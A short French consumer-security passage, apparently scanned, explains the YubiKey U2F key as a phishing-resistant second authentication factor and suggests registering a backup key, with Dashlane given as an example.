Une clé U2F : YubiKey (prix : environ 50€) :

L’utilisateur doit seulement enregistrer sa clé sur son compte. La clé sera dés ce moment
demandée comme deuxiéme facteur
d’authentification. En appuyant sur un bouton, elle
génere un mot de passe unique qui vous identifie
a chaque utilisation. Cette méthode est trés sare',
elle prouve la présence physique de l'utilisateur. Il
est trés difficile de contourner cette sécurité. Le

phishing n’est pas possible ici, ni I'attaque de

’homme du milieu (MITM). Sans rentrer dans les
détails (cette clé repose sur le concept de clé publique / clé privée), 'authentification échouera

sur un faux site.

L’utilisation de la YubiKey est la meilleure procédure d’authentification a ce jour!

" Une question vous taraude : "que se passe-t-il si je perds ma YubiKey ?" Plusieurs solutions
existent mais la plus simple consiste a associer deux clés YubiKey a votre compte et de garder
la deuxiéme en lieu sir (plusieurs clés YubiKey peuvent, par exemple, étre associées sans aucun

probléme a un compte Dashlane).
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